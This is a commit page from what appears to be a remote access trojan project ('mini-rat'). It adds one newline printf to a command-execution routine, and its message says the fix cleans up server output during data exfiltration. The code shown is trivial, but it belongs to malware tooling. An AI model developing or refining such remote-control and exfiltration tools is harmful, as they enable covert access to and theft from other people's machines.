diff options
author | Danny Holman <dholman@gymli.org> | 2023-09-29 09:26:19 -0500 |
---|---|---|
committer | Danny Holman <dholman@gymli.org> | 2023-09-29 09:26:19 -0500 |
commit | 60fec8afe43b20aa7815e7d4c66a454d5f701439 (patch) | |
tree | f78ffdb09fc130331cced37068cc0ffd86d1891b /client/src | |
parent | f5b7f8b3f466fdf7acb57d9bc8fcc12c65080f67 (diff) |
client: add an additional newline before RETURN
Add an additional newline after the exec function has returned. This
should eliminate garbage output printed at the server during
exfiltration of data.
Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'client/src')
-rw-r--r-- | client/src/mini-rat.c | 1 |
1 files changed, 1 insertions, 0 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c index 7347e36..feb26bd 100644 --- a/client/src/mini-rat.c +++ b/client/src/mini-rat.c @@ -50,6 +50,7 @@ void run_exec(char **argv) { exit(0); } else if (pid > 0) { wait(NULL); + printf("\r\n"); printf("RETURN\r\n"); fflush(stdout); } else { |